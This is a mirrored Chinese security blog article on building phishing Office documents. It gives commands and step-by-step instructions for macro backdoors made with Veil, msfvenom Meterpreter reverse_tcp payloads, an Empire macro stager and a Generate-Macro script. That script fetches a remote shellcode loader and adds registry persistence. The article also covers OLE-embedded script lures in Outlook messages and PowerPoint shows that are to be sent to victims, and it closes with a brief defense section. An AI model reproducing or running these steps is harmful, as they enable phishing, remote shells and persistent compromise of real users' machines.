Office Phishing

wyzsk發表於2020-08-19
作者: Evi1cg · 2016/03/03 10:30

Alt text

Office作為Windows平臺下一種非常流行的辦公軟體,越來越多的APT攻擊透過構造惡意Office檔案來進行實施,這也是成功率也是比較高的一種攻擊方式。當然最隱蔽,最有效的攻擊方式就是透過Office辦公套件的一些0day來實施攻擊,但是這也同樣存在一些弊端,首先不是所有人都擁有0day,其次那些已經公佈的Xday可能只能針對某些固定版本的Office,所以本文重點不在如果使用Xday,而是對現在已知的一些構造Office Phishing File的方式及方法進行總結,希望對學習Hack的同學有所幫助,當然也希望,透過此文,小夥伴能避免遭受此類攻擊。

以下測試均在安裝某安全衛士的Win10上面進行。

0x00 Office 宏


宏是微軟公司為其OFFICE軟體包設計的一個特殊功能,軟體設計者為了讓人們在使用軟體進行工作時,避免一再地重複相同的動作而設計出來的一種工具,它利用簡單的語法,把常用的動作寫成宏,當在工作時,就可以直接利用事先編好的宏自動執行,去完成某項特定的任務,而不必再重複相同的動作,目的是讓使用者文件中的一些任務自動化。但是宏在提供方便的同時,也存在很大的風險,其危害在Freebuf上也有過相關文章:《MWI-5:利用Office宏下載鍵盤記錄器的攻擊活動分析》,下文將會介紹幾個知名工具構造宏後門的方式。

1、 Veil

測試使用powershell/shellcode_inject/virtual,選擇以後直接generate

Alt text

隨便輸入一個名字之後成功生成:

Alt text

然後需要下載一個轉換指令碼:

#!bash
☁  office  git clone https://github.com/khr0x40sh/MacroShop.git

使用下載的python指令碼轉換為VBA指令碼:

#!bash
[email protected]:~/script/MacroShop# python macro_safe.py /usr/share/veil-output/source/test.bat

Alt text

之後將生成的內容新增到OFFice檔案宏裡面。建立宏,注意選擇宏的位置為當前文件:

Alt text

接下來選擇Project 下面的Microsoft Word物件,選擇Document->open,然後將生成的程式碼粘進去。要儲存的程式碼如下圖

這裡注意一點,指令碼生成的預設是開啟表格的宏,所以,這裡只要函式內容,注意打鉤的。

Alt text

之後儲存為啟用宏的Word文件或者doc文件。

開啟監聽:

#!bash
[email protected]:~/Veil-Evasion# msfconsole -r /usr/share/veil-output/handlers/test_handler.rc

開啟word文件會有此提示:

Alt text

點選啟用,則生成meterpreter會話。

Alt text

2、 Nishang

nishang的使用早在《使用powershell Client進行有效釣魚》 有所介紹,有興趣的小夥伴可以再去看看。

3、 Metasploit

作為一個神器,Msf當然也可以生成VBA的後門檔案,具體命令如下:

#!bash
☁  ~  msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.100 lport=8888 -e x86/shikata_ga_nai exitfunc=thread -f vba > vcode.txt

4、 Empire

#!bash
(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > execute
(Empire: listeners) > usestager macro
(Empire: stager/macro) > set Listener test
(Empire: stager/macro) > set OutFile /tmp/macro.txt
(Empire: stager/macro) > execute

[*] Stager output written out to: /tmp/macro.txt

將程式碼寫入宏,執行可成功返回會話:

Alt text

5、 Scripts

#!bash
☁  office  git clone https://github.com/enigma0x3/Generate-Macro.git

使用方式如下:

#!powershell
PS C:\Users\Evi1cg\Desktop> . .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-Shellcode.ps1
Enter IP Address: 192.168.2.111
Enter Port Number: 6666
Enter the name of the document (Do not include a file extension): Macro

--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number & Press Enter: 1

--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number & Press Enter: 2
Saved to file C:\Users\Evi1cg\Desktop\Macro.xls
Clean-up Script located at C:\Users\Evi1cg\Desktop\RegistryCleanup.ps1

Alt text

執行Excel以後則生成meterpreter會話:

Alt text

同時生成自啟動後門:

Alt text

具體鍵值為HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load

清除後門可以使用如下命令:

#!powershell
PS C:\Users\Evi1cg\Desktop> . .\RegistryCleanup.ps1
[*]Successfully Removed config.vbs from C:\Users\Public
[*]Successfully Removed Malicious Load entry from HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
[!]Path not valid
[!]Path not valid

具體其他後門的使用,有興趣的小夥伴可是自己實踐一下。

其他Macro後門相關的指令碼如下:

0x01 Office OLE


OLE是Object Linking and Embedding的縮寫,即“物件連結與嵌入”,這是一種把一個檔案的一部分嵌入到另一個檔案之中的技術,此類攻擊方式也被常常應用於APT中,其有一個好處就是不需要使用者開啟宏,及在禁用宏的情況下執行命令。

1、 Outlook OLE

@三好學生 之前在Zone裡面曾經有一個介紹:Outlook OLE 釣魚郵件利用介紹,本人在win10+offcie2016下作了測試,在這裡做一下簡單的介紹,製作此釣魚檔案步驟如下:

  1. 新建郵件,在設定文字格式處選擇RTF:

    Alt text

  2. 選擇插入->物件->Package,選擇顯示為圖示:

    Alt text

  3. 然後將圖示換為Word圖示,並修改題注為迷惑性名稱:

    Alt text

  4. 繫結指定程式或指令碼;

  5. 將RTF再改為HTML ;

  6. 新增其他迷惑內容 :

    Alt text

  7. 儲存為test.msg ;

  8. 傳送給受害者。

受害者執行以後會有以下提示:

Alt text

點選是以後會彈:

Alt text

點選開啟,成功執行:

Alt text

2、 PowerPoint OLE

透過PowerPoint簡報進行Phishing,同樣不需要啟用宏,製作步驟如下:

  1. 建立新的PowerPoint檔案;
  2. 建立VBS指令碼,為了簡單演示,只寫了一個彈框:

    #!vb
    Msgbox("test")
    
  3. 將VBS拖入PPT;

  4. 為VBS新增動畫->OLE操作動作並選擇啟用,如下圖:

    Alt text

  5. 選擇動畫窗格->效果選項:

    Alt text

  6. 選擇計時->與上一動畫同時:

    Alt text

  7. 為PPT新增內容;

  8. 另存為放映檔案pps或者ppsx;

  9. 傳送給受害者。

受害者開啟會彈出如下提示框:

Alt text

點選開啟,執行指令碼。

對於VBS後門,本文就不再詳細描述怎麼製作了,很多姿勢小夥伴們可以自己蒐集一下,比較好玩兒的請參考:JavaScript Phishing

對於VBS指令碼可以使用這個指令碼來進行加密:ncode-and-Decode-a-VB

0x02 防禦


關於透過Office宏或者OLE物件進行的攻擊從90年代開始了,然而現在還在利用中,如何更好地防禦此類攻擊呢?

  1. 你可以教育你的員工不要點啟用宏,不要隨便亂點確定,不要隨便下載不明檔案等。
  2. 配置組策略,如果在域下,可以批次配置管理模板。

    Alt text

    設定 Disable all except digitally signed macros:

    Alt text

    更多細節請看這裡

  3. 對於.msg、.rtf、.pps 字尾的檔案要格外注意;

  4. 採用EMET,如果你不知道EMET是什麼,可以看這裡

以上方法來自於it-s-time-to-secure-microsoft-office,關於規劃Office的VBA宏的安全設定請看這裡

0x03 小結


使用Office進行APT攻擊的情形越來越多,在沒有0day的情況下,我們應該至少對於以上型別的釣魚攻擊進行了解及防範,以上為個人所瞭解的幾種構造Office釣魚檔案的方式,可能並不全面,如果小夥伴還有別的姿勢,請不吝賜教。

0x04 參考


本文由evi1cg原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章